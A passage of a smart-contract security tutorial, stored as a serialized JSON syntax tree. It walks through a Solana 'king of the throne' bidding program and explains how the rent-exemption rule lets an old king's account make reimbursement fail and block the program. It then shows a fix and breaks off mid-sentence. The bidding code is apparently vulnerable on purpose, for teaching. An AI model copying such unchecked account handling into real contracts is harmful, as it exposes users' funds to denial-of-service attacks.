value":5150},{"type":24,"tag":158,"props":73130,"children":73131},{"class":160,"line":5553},[73132,73137],{"type":24,"tag":158,"props":73133,"children":73134},{"style":177},[73135],{"type":29,"value":73136}," bid_amount",{"type":24,"tag":158,"props":73138,"children":73139},{"style":188},[73140],{"type":29,"value":235},{"type":24,"tag":158,"props":73142,"children":73143},{"class":160,"line":10636},[73144,73149,73153],{"type":24,"tag":158,"props":73145,"children":73146},{"style":188},[73147],{"type":29,"value":73148}," )",{"type":24,"tag":158,"props":73150,"children":73151},{"style":222},[73152],{"type":29,"value":4820},{"type":24,"tag":158,"props":73154,"children":73155},{"style":188},[73156],{"type":29,"value":473},{"type":24,"tag":158,"props":73158,"children":73159},{"class":160,"line":10652},[73160],{"type":24,"tag":158,"props":73161,"children":73162},{"emptyLinePlaceholder":16},[73163],{"type":29,"value":481},{"type":24,"tag":158,"props":73165,"children":73166},{"class":160,"line":10696},[73167],{"type":24,"tag":158,"props":73168,"children":73169},{"style":2588},[73170],{"type":29,"value":73171}," // Reimburse 95% of the last bid to the old king\n",{"type":24,"tag":158,"props":73173,"children":73174},{"class":160,"line":10801},[73175,73179,73184,73188,73192,73196,73200,73204,73208,73212,73216,73220,73224,73229,73233,73237,73242],{"type":24,"tag":158,"props":73176,"children":73177},{"style":165},[73178],{"type":29,"value":4732},{"type":24,"tag":158,"props":73180,"children":73181},{"style":177},[73182],{"type":29,"value":73183}," to_reimburse",{"type":24,"tag":158,"props":73185,"children":73186},{"style":222},[73187],{"type":29,"value":462},{"type":24,"tag":158,"props":73189,"children":73190},{"style":188},[73191],{"type":29,"value":2262},{"type":24,"tag":158,"props":73193,"children":73194},{"style":177},[73195],{"type":29,"value":21524},{"type":24,"tag":158,"props":73197,"children":73198},{"style":222},[73199],{"type":29,"value":347},{"type":24,"tag":158,"props":73201,"children":73202},{"style":188},[73203],{"type":29,"value":15909},{"type":24,"tag":158,"props":73205,"children":73206},{"style":222},[73207],{"type":29,"value":347},{"type":24,"tag":158,"props":73209,"children":73210},{"style":188},[73211],{"type":29,"value":73027},{"type":24,"tag":158,"props":73213,"children":73214},{"style":222},[73215],{"type":29,"value":347},{"type":24,"tag":158,"props":73217,"children":73218},{"style":188},[73219],{"type":29,"value":73036},{"type":24,"tag":158,"props":73221,"children":73222},{"style":222},[73223],{"type":29,"value":577},{"type":24,"tag":158,"props":73225,"children":73226},{"style":465},[73227],{"type":29,"value":73228}," 9500",{"type":24,"tag":158,"props":73230,"children":73231},{"style":188},[73232],{"type":29,"value":723},{"type":24,"tag":158,"props":73234,"children":73235},{"style":222},[73236],{"type":29,"value":6238},{"type":24,"tag":158,"props":73238,"children":73239},{"style":465},[73240],{"type":29,"value":73241}," 10000",{"type":24,"tag":158,"props":73243,"children":73244},{"style":188},[73245],{"type":29,"value":473},{"type":24,"tag":158,"props":73247,"children":73248},{"class":160,"line":24754},[73249,73254],{"type":24,"tag":158,"props":73250,"children":73251},{"style":496},[73252],{"type":29,"value":73253}," transfer_from_pda",{"type":24,"tag":158,"props":73255,"children":73256},{"style":188},[73257],{"type":29,"value":2156},{"type":24,"tag":158,"props":73259,"children":73260},{"class":160,"line":24789},[73261,73265,73269,73273,73277,73281,73285,73289,73293],{"type":24,"tag":158,"props":73262,"children":73263},{"style":222},[73264],{"type":29,"value":9325},{"type":24,"tag":158,"props":73266,"children":73267},{"style":177},[73268],{"type":29,"value":21524},{"type":24,"tag":158,"props":73270,"children":73271},{"style":222},[73272],{"type":29,"value":347},{"type":24,"tag":158,"props":73274,"children":73275},{"style":188},[73276],{"type":29,"value":15909},{"type":24,"tag":158,"props":73278,"children":73279},{"style":222},[73280],{"type":29,"value":347},{"type":24,"tag":158,"props":73282,"children":73283},{"style":188},[73284],{"type":29,"value":73027},{"type":24,"tag":158,"props":73286,"children":73287},{"style":222},[73288],{"type":29,"value":347},{"type":24,"tag":158,"props":73290,"children":73291},{"style":496},[73292],{"type":29,"value":73124},{"type":24,"tag":158,"props":73294,"children":73295},{"style":188},[73296],{"type":29,"value":5150},{"type":24,"tag":158,"props":73298,"children":73299},{"class":160,"line":24797},[73300,73304,73308,73312,73316,73320],{"type":24,"tag":158,"props":73301,"children":73302},{"style":222},[73303],{"type":29,"value":9325},{"type":24,"tag":158,"props":73305,"children":73306},{"style":177},[73307],{"type":29,"value":21524},{"type":24,"tag":158,"props":73309,"children":73310},{"style":222},[73311],{"type":29,"value":347},{"type":24,"tag":158,"props":73313,"children":73314},{"style":188},[73315],{"type":29,"value":15909},{"type":24,"tag":158,"props":73317,"children":73318},{"style":222},[73319],{"type":29,"value":347},{"type":24,"tag":158,"props":73321,"children":73322},{"style":188},[73323],{"type":29,"value":73324},"old_king,\n",{"type":24,"tag":158,"props":73326,"children":73327},{"class":160,"line":24805},[73328,73333],{"type":24,"tag":158,"props":73329,"children":73330},{"style":177},[73331],{"type":29,"value":73332}," to_reimburse",{"type":24,"tag":158,"props":73334,"children":73335},{"style":188},[73336],{"type":29,"value":235},{"type":24,"tag":158,"props":73338,"children":73339},{"class":160,"line":24814},[73340,73344,73348],{"type":24,"tag":158,"props":73341,"children":73342},{"style":188},[73343],{"type":29,"value":73148},{"type":24,"tag":158,"props":73345,"children":73346},{"style":222},[73347],{"type":29,"value":4820},{"type":24,"tag":158,"props":73349,"children":73350},{"style":188},[73351],{"type":29,"value":473},{"type":24,"tag":158,"props":73353,"children":73354},{"class":160,"line":24856},[73355],{"type":24,"tag":158,"props":73356,"children":73357},{"emptyLinePlaceholder":16},[73358],{"type":29,"value":481},{"type":24,"tag":158,"props":73360,"children":73361},{"class":160,"line":24889},[73362],{"type":24,"tag":158,"props":73363,"children":73364},{"style":2588},[73365],{"type":29,"value":73366}," // Set new king\n",{"type":24,"tag":158,"props":73368,"children":73369},{"class":160,"line":24897},[73370,73374,73378,73382,73386,73390,73394,73399,73403,73407,73411,73415,73419,73424,73428,73433],{"type":24,"tag":158,"props":73371,"children":73372},{"style":177},[73373],{"type":29,"value":27443},{"type":24,"tag":158,"props":73375,"children":73376},{"style":222},[73377],{"type":29,"value":347},{"type":24,"tag":158,"props":73379,"children":73380},{"style":188},[73381],{"type":29,"value":15909},{"type":24,"tag":158,"props":73383,"children":73384},{"style":222},[73385],{"type":29,"value":347},{"type":24,"tag":158,"props":73387,"children":73388},{"style":188},[73389],{"type":29,"value":73027},{"type":24,"tag":158,"props":73391,"children":73392},{"style":222},[73393],{"type":29,"value":347},{"type":24,"tag":158,"props":73395,"children":73396},{"style":188},[73397],{"type":29,"value":73398},"king ",{"type":24,"tag":158,"props":73400,"children":73401},{"style":222},[73402],{"type":29,"value":1285},{"type":24,"tag":158,"props":73404,"children":73405},{"style":177},[73406],{"type":29,"value":27100},{"type":24,"tag":158,"props":73408,"children":73409},{"style":222},[73410],{"type":29,"value":347},{"type":24,"tag":158,"props":73412,"children":73413},{"style":188},[73414],{"type":29,"value":15909},{"type":24,"tag":158,"props":73416,"children":73417},{"style":222},[73418],{"type":29,"value":347},{"type":24,"tag":158,"props":73420,"children":73421},{"style":188},[73422],{"type":29,"value":73423},"new_king",{"type":24,"tag":158,"props":73425,"children":73426},{"style":222},[73427],{"type":29,"value":347},{"type":24,"tag":158,"props":73429,"children":73430},{"style":496},[73431],{"type":29,"value":73432},"key",{"type":24,"tag":158,"props":73434,"children":73435},{"style":188},[73436],{"type":29,"value":5329},{"type":24,"tag":158,"props":73438,"children":73439},{"class":160,"line":24905},[73440,73444,73448,73452,73456,73460,73464,73468,73472,73477],{"type":24,"tag":158,"props":73441,"children":73442},{"style":177},[73443],{"type":29,"value":27443},{"type":24,"tag":158,"props":73445,"children":73446},{"style":222},[73447],{"type":29,"value":347},{"type":24,"tag":158,"props":73449,"children":73450},{"style":188},[73451],{"type":29,"value":15909},{"type":24,"tag":158,"props":73453,"children":73454},{"style":222},[73455],{"type":29,"value":347},{"type":24,"tag":158,"props":73457,"children":73458},{"style":188},[73459],{"type":29,"value":73027},{"type":24,"tag":158,"props":73461,"children":73462},{"style":222},[73463],{"type":29,"value":347},{"type":24,"tag":158,"props":73465,"children":73466},{"style":188},[73467],{"type":29,"value":73036},{"type":24,"tag":158,"props":73469,"children":73470},{"style":222},[73471],{"type":29,"value":1285},{"type":24,"tag":158,"props":73473,"children":73474},{"style":177},[73475],{"type":29,"value":73476}," bid_amount",{"type":24,"tag":158,"props":73478,"children":73479},{"style":188},[73480],{"type":29,"value":473},{"type":24,"tag":158,"props":73482,"children":73483},{"class":160,"line":24914},[73484,73488,73492,73496,73500,73504,73508,73513,73517,73522,73526,73530,73534,73538,73543,73547,73551],{"type":24,"tag":158,"props":73485,"children":73486},{"style":177},[73487],{"type":29,"value":27443},{"type":24,"tag":158,"props":73489,"children":73490},{"style":222},[73491],{"type":29,"value":347},{"type":24,"tag":158,"props":73493,"children":73494},{"style":188},[73495],{"type":29,"value":15909},{"type":24,"tag":158,"props":73497,"children":73498},{"style":222},[73499],{"type":29,"value":347},{"type":24,"tag":158,"props":73501,"children":73502},{"style":188},[73503],{"type":29,"value":73027},{"type":24,"tag":158,"props":73505,"children":73506},{"style":222},[73507],{"type":29,"value":347},{"type":24,"tag":158,"props":73509,"children":73510},{"style":188},[73511],{"type":29,"value":73512},"last_time ",{"type":24,"tag":158,"props":73514,"children":73515},{"style":222},[73516],{"type":29,"value":1285},{"type":24,"tag":158,"props":73518,"children":73519},{"style":171},[73520],{"type":29,"value":73521}," Clock",{"type":24,"tag":158,"props":73523,"children":73524},{"style":222},[73525],{"type":29,"value":2146},{"type":24,"tag":158,"props":73527,"children":73528},{"style":496},[73529],{"type":29,"value":17588},{"type":24,"tag":158,"props":73531,"children":73532},{"style":188},[73533],{"type":29,"value":15113},{"type":24,"tag":158,"props":73535,"children":73536},{"style":222},[73537],{"type":29,"value":4798},{"type":24,"tag":158,"props":73539,"children":73540},{"style":188},[73541],{"type":29,"value":73542},"unix_timestamp ",{"type":24,"tag":158,"props":73544,"children":73545},{"style":165},[73546],{"type":29,"value":2245},{"type":24,"tag":158,"props":73548,"children":73549},{"style":171},[73550],{"type":29,"value":230},{"type":24,"tag":158,"props":73552,"children":73553},{"style":188},[73554],{"type":29,"value":473},{"type":24,"tag":158,"props":73556,"children":73557},{"class":160,"line":24990},[73558],{"type":24,"tag":158,"props":73559,"children":73560},{"emptyLinePlaceholder":16},[73561],{"type":29,"value":481},{"type":24,"tag":158,"props":73563,"children":73564},{"class":160,"line":25023},[73565,73569],{"type":24,"tag":158,"props":73566,"children":73567},{"style":171},[73568],{"type":29,"value":16046},{"type":24,"tag":158,"props":73570,"children":73571},{"style":188},[73572],{"type":29,"value":15572},{"type":24,"tag":158,"props":73574,"children":73575},{"class":160,"line":25031},[73576],{"type":24,"tag":158,"props":73577,"children":73578},{"style":188},[73579],{"type":29,"value":3967},{"type":24,"tag":158,"props":73581,"children":73582},{"class":160,"line":25039},[73583],{"type":24,"tag":158,"props":73584,"children":73585},{"style":188},[73586],{"type":29,"value":307},{"type":24,"tag":25,"props":73588,"children":73589},{},[73590],{"type":29,"value":73591},"Note this comment:",{"type":24,"tag":4606,"props":73593,"children":73594},{},[73595],{"type":24,"tag":25,"props":73596,"children":73597},{},[73598],{"type":29,"value":73599},"any writable account is allowed as a new king.",{"type":24,"tag":25,"props":73601,"children":73602},{},[73603],{"type":29,"value":73604},"...Is our assumption correct?",{"type":24,"tag":59,"props":73606,"children":73608},{"id":73607},"the-bugs-lurking-beneath",[73609],{"type":29,"value":73610},"The Bugs Lurking Beneath",{"type":24,"tag":395,"props":73612,"children":73614},{"id":73613},"bug-1-the-rent-exemption-trap",[73615],{"type":29,"value":73616},"Bug 1: The Rent-Exemption Trap",{"type":24,"tag":25,"props":73618,"children":73619},{},[73620,73622,73627],{"type":29,"value":73621},"On Solana, all accounts must maintain a ",{"type":24,"tag":897,"props":73623,"children":73624},{},[73625],{"type":29,"value":73626},"minimum balance",{"type":29,"value":73628}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":24,"tag":17924,"props":73630,"children":73631},{},[73632,73647],{"type":24,"tag":1790,"props":73633,"children":73634},{},[73635,73640,73641],{"type":24,"tag":897,"props":73636,"children":73637},{},[73638],{"type":29,"value":73639},"Uninitialized",{"type":29,"value":16566},{"type":24,"tag":154,"props":73642,"children":73644},{"className":73643},[],[73645],{"type":29,"value":73646},"lamports = 0",{"type":24,"tag":1790,"props":73648,"children":73649},{},[73650,73655,73656],{"type":24,"tag":897,"props":73651,"children":73652},{},[73653],{"type":29,"value":73654},"Initialized",{"type":29,"value":16566},{"type":24,"tag":154,"props":73657,"children":73659},{"className":73658},[],[73660],{"type":29,"value":73661},"lamports >= rent-exempt threshold",{"type":24,"tag":25,"props":73663,"children":73664},{},[73665,73667,73672],{"type":29,"value":73666},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":24,"tag":897,"props":73668,"children":73669},{},[73670],{"type":29,"value":73671},"account metadata",{"type":29,"value":73673}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":24,"tag":25,"props":73675,"children":73676},{},[73677,73679,73685],{"type":29,"value":73678},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":24,"tag":154,"props":73680,"children":73682},{"className":73681},[],[73683],{"type":29,"value":73684},"data.len() == 0",{"type":29,"value":73686}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":24,"tag":25,"props":73688,"children":73689},{},[73690,73692,73698],{"type":29,"value":73691},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":24,"tag":101,"props":73693,"children":73696},{"href":73694,"rel":73695},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[105],[73697],{"type":29,"value":48855},{"type":29,"value":347},{"type":24,"tag":147,"props":73700,"children":73702},{"className":151,"code":73701,"language":150,"meta":7,"style":7}," fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n match post_rent_state {\n RentState::Uninitialized | RentState::RentExempt => true,\n RentState::RentPaying {\n data_size: post_data_size,\n lamports: post_lamports,\n } => {\n match pre_rent_state {\n RentState::Uninitialized | RentState::RentExempt => false,\n RentState::RentPaying {\n data_size: pre_data_size,\n lamports: pre_lamports,\n } => {\n // Cannot remain RentPaying if resized or credited.\n post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n }\n }\n }\n }\n }\n",[73703],{"type":24,"tag":154,"props":73704,"children":73705},{"__ignoreMap":7},[73706,73790,73807,73853,73873,73894,73915,73930,73947,73991,74010,74031,74052,74068,74076,74109,74116,74123,74130,74137],{"type":24,"tag":158,"props":73707,"children":73708},{"class":160,"line":161},[73709,73714,73719,73723,73727,73731,73735,73740,73744,73748,73753,73757,73762,73766,73770,73774,73778,73782,73786],{"type":24,"tag":158,"props":73710,"children":73711},{"style":165},[73712],{"type":29,"value":73713}," fn",{"type":24,"tag":158,"props":73715,"children":73716},{"style":496},[73717],{"type":29,"value":73718}," transition_allowed",{"type":24,"tag":158,"props":73720,"children":73721},{"style":188},[73722],{"type":29,"value":504},{"type":24,"tag":158,"props":73724,"children":73725},{"style":222},[73726],{"type":29,"value":2212},{"type":24,"tag":158,"props":73728,"children":73729},{"style":165},[73730],{"type":29,"value":14947},{"type":24,"tag":158,"props":73732,"children":73733},{"style":188},[73734],{"type":29,"value":191},{"type":24,"tag":158,"props":73736,"children":73737},{"style":177},[73738],{"type":29,"value":73739},"pre_rent_state",{"type":24,"tag":158,"props":73741,"children":73742},{"style":222},[73743],{"type":29,"value":225},{"type":24,"tag":158,"props":73745,"children":73746},{"style":222},[73747],{"type":29,"value":8784},{"type":24,"tag":158,"props":73749,"children":73750},{"style":171},[73751],{"type":29,"value":73752},"RentState",{"type":24,"tag":158,"props":73754,"children":73755},{"style":188},[73756],{"type":29,"value":191},{"type":24,"tag":158,"props":73758,"children":73759},{"style":177},[73760],{"type":29,"value":73761},"post_rent_state",{"type":24,"tag":158,"props":73763,"children":73764},{"style":222},[73765],{"type":29,"value":225},{"type":24,"tag":158,"props":73767,"children":73768},{"style":222},[73769],{"type":29,"value":8784},{"type":24,"tag":158,"props":73771,"children":73772},{"style":171},[73773],{"type":29,"value":73752},{"type":24,"tag":158,"props":73775,"children":73776},{"style":188},[73777],{"type":29,"value":723},{"type":24,"tag":158,"props":73779,"children":73780},{"style":222},[73781],{"type":29,"value":14991},{"type":24,"tag":158,"props":73783,"children":73784},{"style":171},[73785],{"type":29,"value":2928},{"type":24,"tag":158,"props":73787,"children":73788},{"style":188},[73789],{"type":29,"value":210},{"type":24,"tag":158,"props":73791,"children":73792},{"class":160,"line":213},[73793,73798,73803],{"type":24,"tag":158,"props":73794,"children":73795},{"style":1914},[73796],{"type":29,"value":73797}," match",{"type":24,"tag":158,"props":73799,"children":73800},{"style":177},[73801],{"type":29,"value":73802}," post_rent_state",{"type":24,"tag":158,"props":73804,"children":73805},{"style":188},[73806],{"type":29,"value":210},{"type":24,"tag":158,"props":73808,"children":73809},{"class":160,"line":238},[73810,73815,73819,73823,73827,73832,73836,73841,73845,73849],{"type":24,"tag":158,"props":73811,"children":73812},{"style":171},[73813],{"type":29,"value":73814}," RentState",{"type":24,"tag":158,"props":73816,"children":73817},{"style":222},[73818],{"type":29,"value":2146},{"type":24,"tag":158,"props":73820,"children":73821},{"style":171},[73822],{"type":29,"value":73639},{"type":24,"tag":158,"props":73824,"children":73825},{"style":222},[73826],{"type":29,"value":5929},{"type":24,"tag":158,"props":73828,"children":73829},{"style":171},[73830],{"type":29,"value":73831}," RentState",{"type":24,"tag":158,"props":73833,"children":73834},{"style":222},[73835],{"type":29,"value":2146},{"type":24,"tag":158,"props":73837,"children":73838},{"style":171},[73839],{"type":29,"value":73840},"RentExempt",{"type":24,"tag":158,"props":73842,"children":73843},{"style":222},[73844],{"type":29,"value":29010},{"type":24,"tag":158,"props":73846,"children":73847},{"style":165},[73848],{"type":29,"value":3354},{"type":24,"tag":158,"props":73850,"children":73851},{"style":188},[73852],{"type":29,"value":235},{"type":24,"tag":158,"props":73854,"children":73855},{"class":160,"line":259},[73856,73860,73864,73869],{"type":24,"tag":158,"props":73857,"children":73858},{"style":171},[73859],{"type":29,"value":73814},{"type":24,"tag":158,"props":73861,"children":73862},{"style":222},[73863],{"type":29,"value":2146},{"type":24,"tag":158,"props":73865,"children":73866},{"style":171},[73867],{"type":29,"value":73868},"RentPaying",{"type":24,"tag":158,"props":73870,"children":73871},{"style":188},[73872],{"type":29,"value":210},{"type":24,"tag":158,"props":73874,"children":73875},{"class":160,"line":280},[73876,73881,73885,73890],{"type":24,"tag":158,"props":73877,"children":73878},{"style":177},[73879],{"type":29,"value":73880}," data_size",{"type":24,"tag":158,"props":73882,"children":73883},{"style":222},[73884],{"type":29,"value":225},{"type":24,"tag":158,"props":73886,"children":73887},{"style":177},[73888],{"type":29,"value":73889}," post_data_size",{"type":24,"tag":158,"props":73891,"children":73892},{"style":188},[73893],{"type":29,"value":235},{"type":24,"tag":158,"props":73895,"children":73896},{"class":160,"line":301},[73897,73902,73906,73911],{"type":24,"tag":158,"props":73898,"children":73899},{"style":177},[73900],{"type":29,"value":73901}," lamports",{"type":24,"tag":158,"props":73903,"children":73904},{"style":222},[73905],{"type":29,"value":225},{"type":24,"tag":158,"props":73907,"children":73908},{"style":177},[73909],{"type":29,"value":73910}," post_lamports",{"type":24,"tag":158,"props":73912,"children":73913},{"style":188},[73914],{"type":29,"value":235},{"type":24,"tag":158,"props":73916,"children":73917},{"class":160,"line":626},[73918,73922,73926],{"type":24,"tag":158,"props":73919,"children":73920},{"style":188},[73921],{"type":29,"value":71870},{"type":24,"tag":158,"props":73923,"children":73924},{"style":222},[73925],{"type":29,"value":16056},{"type":24,"tag":158,"props":73927,"children":73928},{"style":188},[73929],{"type":29,"value":210},{"type":24,"tag":158,"props":73931,"children":73932},{"class":160,"line":668},[73933,73938,73943],{"type":24,"tag":158,"props":73934,"children":73935},{"style":1914},[73936],{"type":29,"value":73937}," match",{"type":24,"tag":158,"props":73939,"children":73940},{"style":177},[73941],{"type":29,"value":73942}," pre_rent_state",{"type":24,"tag":158,"props":73944,"children":73945},{"style":188},[73946],{"type":29,"value":210},{"type":24,"tag":158,"props":73948,"children":73949},{"class":160,"line":676},[73950,73955,73959,73963,73967,73971,73975,73979,73983,73987],{"type":24,"tag":158,"props":73951,"children":73952},{"style":171},[73953],{"type":29,"value":73954}," RentState",{"type":24,"tag":158,"props":73956,"children":73957},{"style":222},[73958],{"type":29,"value":2146},{"type":24,"tag":158,"props":73960,"children":73961},{"style":171},[73962],{"type":29,"value":73639},{"type":24,"tag":158,"props":73964,"children":73965},{"style":222},[73966],{"type":29,"value":5929},{"type":24,"tag":158,"props":73968,"children":73969},{"style":171},[73970],{"type":29,"value":73831},{"type":24,"tag":158,"props":73972,"children":73973},{"style":222},[73974],{"type":29,"value":2146},{"type":24,"tag":158,"props":73976,"children":73977},{"style":171},[73978],{"type":29,"value":73840},{"type":24,"tag":158,"props":73980,"children":73981},{"style":222},[73982],{"type":29,"value":29010},{"type":24,"tag":158,"props":73984,"children":73985},{"style":165},[73986],{"type":29,"value":859},{"type":24,"tag":158,"props":73988,"children":73989},{"style":188},[73990],{"type":29,"value":235},{"type":24,"tag":158,"props":73992,"children":73993},{"class":160,"line":684},[73994,73998,74002,74006],{"type":24,"tag":158,"props":73995,"children":73996},{"style":171},[73997],{"type":29,"value":73954},{"type":24,"tag":158,"props":73999,"children":74000},{"style":222},[74001],{"type":29,"value":2146},{"type":24,"tag":158,"props":74003,"children":74004},{"style":171},[74005],{"type":29,"value":73868},{"type":24,"tag":158,"props":74007,"children":74008},{"style":188},[74009],{"type":29,"value":210},{"type":24,"tag":158,"props":74011,"children":74012},{"class":160,"line":700},[74013,74018,74022,74027],{"type":24,"tag":158,"props":74014,"children":74015},{"style":177},[74016],{"type":29,"value":74017}," data_size",{"type":24,"tag":158,"props":74019,"children":74020},{"style":222},[74021],{"type":29,"value":225},{"type":24,"tag":158,"props":74023,"children":74024},{"style":177},[74025],{"type":29,"value":74026}," pre_data_size",{"type":24,"tag":158,"props":74028,"children":74029},{"style":188},[74030],{"type":29,"value":235},{"type":24,"tag":158,"props":74032,"children":74033},{"class":160,"line":785},[74034,74039,74043,74048],{"type":24,"tag":158,"props":74035,"children":74036},{"style":177},[74037],{"type":29,"value":74038}," lamports",{"type":24,"tag":158,"props":74040,"children":74041},{"style":222},[74042],{"type":29,"value":225},{"type":24,"tag":158,"props":74044,"children":74045},{"style":177},[74046],{"type":29,"value":74047}," pre_lamports",{"type":24,"tag":158,"props":74049,"children":74050},{"style":188},[74051],{"type":29,"value":235},{"type":24,"tag":158,"props":74053,"children":74054},{"class":160,"line":1447},[74055,74060,74064],{"type":24,"tag":158,"props":74056,"children":74057},{"style":188},[74058],{"type":29,"value":74059}," } ",{"type":24,"tag":158,"props":74061,"children":74062},{"style":222},[74063],{"type":29,"value":16056},{"type":24,"tag":158,"props":74065,"children":74066},{"style":188},[74067],{"type":29,"value":210},{"type":24,"tag":158,"props":74069,"children":74070},{"class":160,"line":1509},[74071],{"type":24,"tag":158,"props":74072,"children":74073},{"style":2588},[74074],{"type":29,"value":74075}," // Cannot remain RentPaying if resized or credited.\n",{"type":24,"tag":158,"props":74077,"children":74078},{"class":160,"line":1527},[74079,74084,74088,74092,74096,74100,74104],{"type":24,"tag":158,"props":74080,"children":74081},{"style":177},[74082],{"type":29,"value":74083}," post_data_size",{"type":24,"tag":158,"props":74085,"children":74086},{"style":222},[74087],{"type":29,"value":3175},{"type":24,"tag":158,"props":74089,"children":74090},{"style":177},[74091],{"type":29,"value":74026},{"type":24,"tag":158,"props":74093,"children":74094},{"style":222},[74095],{"type":29,"value":15419},{"type":24,"tag":158,"props":74097,"children":74098},{"style":177},[74099],{"type":29,"value":73910},{"type":24,"tag":158,"props":74101,"children":74102},{"style":222},[74103],{"type":29,"value":1989},{"type":24,"tag":158,"props":74105,"children":74106},{"style":177},[74107],{"type":29,"value":74108}," pre_lamports\n",{"type":24,"tag":158,"props":74110,"children":74111},{"class":160,"line":1545},[74112],{"type":24,"tag":158,"props":74113,"children":74114},{"style":188},[74115],{"type":29,"value":72339},{"type":24,"tag":158,"props":74117,"children":74118},{"class":160,"line":1618},[74119],{"type":24,"tag":158,"props":74120,"children":74121},{"style":188},[74122],{"type":29,"value":72347},{"type":24,"tag":158,"props":74124,"children":74125},{"class":160,"line":1635},[74126],{"type":24,"tag":158,"props":74127,"children":74128},{"style":188},[74129],{"type":29,"value":60158},{"type":24,"tag":158,"props":74131,"children":74132},{"class":160,"line":1644},[74133],{"type":24,"tag":158,"props":74134,"children":74135},{"style":188},[74136],{"type":29,"value":5010},{"type":24,"tag":158,"props":74138,"children":74139},{"class":160,"line":1652},[74140],{"type":24,"tag":158,"props":74141,"children":74142},{"style":188},[74143],{"type":29,"value":3967},{"type":24,"tag":25,"props":74145,"children":74146},{},[74147],{"type":29,"value":74148},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":24,"tag":147,"props":74150,"children":74152},{"className":1093,"code":74151,"language":1092,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[74153],{"type":24,"tag":154,"props":74154,"children":74155},{"__ignoreMap":7},[74156,74172],{"type":24,"tag":158,"props":74157,"children":74158},{"class":160,"line":161},[74159,74163,74168],{"type":24,"tag":158,"props":74160,"children":74161},{"style":496},[74162],{"type":29,"value":4553},{"type":24,"tag":158,"props":74164,"children":74165},{"style":1108},[74166],{"type":29,"value":74167}," rent",{"type":24,"tag":158,"props":74169,"children":74170},{"style":465},[74171],{"type":29,"value":25535},{"type":24,"tag":158,"props":74173,"children":74174},{"class":160,"line":213},[74175,74180,74185,74190],{"type":24,"tag":158,"props":74176,"children":74177},{"style":496},[74178],{"type":29,"value":74179},"Rent-exempt",{"type":24,"tag":158,"props":74181,"children":74182},{"style":1108},[74183],{"type":29,"value":74184}," minimum:",{"type":24,"tag":158,"props":74186,"children":74187},{"style":465},[74188],{"type":29,"value":74189}," 0.00089088",{"type":24,"tag":158,"props":74191,"children":74192},{"style":1108},[74193],{"type":29,"value":74194}," SOL\n",{"type":24,"tag":20134,"props":74196,"children":74198},{"id":74197},"fix-1-only-reimburse-if-rent-exempt",[74199],{"type":29,"value":74200},"Fix 1: Only Reimburse if Rent-Exempt",{"type":24,"tag":25,"props":74202,"children":74203},{},[74204],{"type":29,"value":74205},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":24,"tag":147,"props":74207,"children":74209},{"className":41625,"code":74208,"language":41627,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n+}\n",[74210],{"type":24,"tag":154,"props":74211,"children":74212},{"__ignoreMap":7},[74213,74221,74229,74237,74245,74253,74261,74269,74277,74285],{"type":24,"tag":158,"props":74214,"children":74215},{"class":160,"line":161},[74216],{"type":24,"tag":158,"props":74217,"children":74218},{"style":188},[74219],{"type":29,"value":74220},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":24,"tag":158,"props":74222,"children":74223},{"class":160,"line":213},[74224],{"type":24,"tag":158,"props":74225,"children":74226},{"style":465},[74227],{"type":29,"value":74228},"+let rent = Rent::get()?;\n",{"type":24,"tag":158,"props":74230,"children":74231},{"class":160,"line":238},[74232],{"type":24,"tag":158,"props":74233,"children":74234},{"style":465},[74235],{"type":29,"value":74236},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":24,"tag":158,"props":74238,"children":74239},{"class":160,"line":259},[74240],{"type":24,"tag":158,"props":74241,"children":74242},{"style":465},[74243],{"type":29,"value":74244},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":24,"tag":158,"props":74246,"children":74247},{"class":160,"line":280},[74248],{"type":24,"tag":158,"props":74249,"children":74250},{"style":188},[74251],{"type":29,"value":74252}," transfer_from_pda(\n",{"type":24,"tag":158,"props":74254,"children":74255},{"class":160,"line":301},[74256],{"type":24,"tag":158,"props":74257,"children":74258},{"style":188},[74259],{"type":29,"value":74260}," &ctx.accounts.throne.to_account_info(),\n",{"type":24,"tag":158,"props":74262,"children":74263},{"class":160,"line":626},[74264],{"type":24,"tag":158,"props":74265,"children":74266},{"style":188},[74267],{"type":29,"value":74268}," &ctx.accounts.old_king,\n",{"type":24,"tag":158,"props":74270,"children":74271},{"class":160,"line":668},[74272],{"type":24,"tag":158,"props":74273,"children":74274},{"style":188},[74275],{"type":29,"value":74276}," to_reimburse,\n",{"type":24,"tag":158,"props":74278,"children":74279},{"class":160,"line":676},[74280],{"type":24,"tag":158,"props":74281,"children":74282},{"style":188},[74283],{"type":29,"value":74284}," )?;\n",{"type":24,"tag":158,"props":74286,"children":74287},{"class":160,"line":684},[74288],{"type":24,"tag":158,"props":74289,"children":74290},{"style":465},[74291],{"type":29,"value":74292},"+}\n",{"type":24,"tag":25,"props":74294,"children":74295},{},[74296],{"type":29,"value":74297},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not 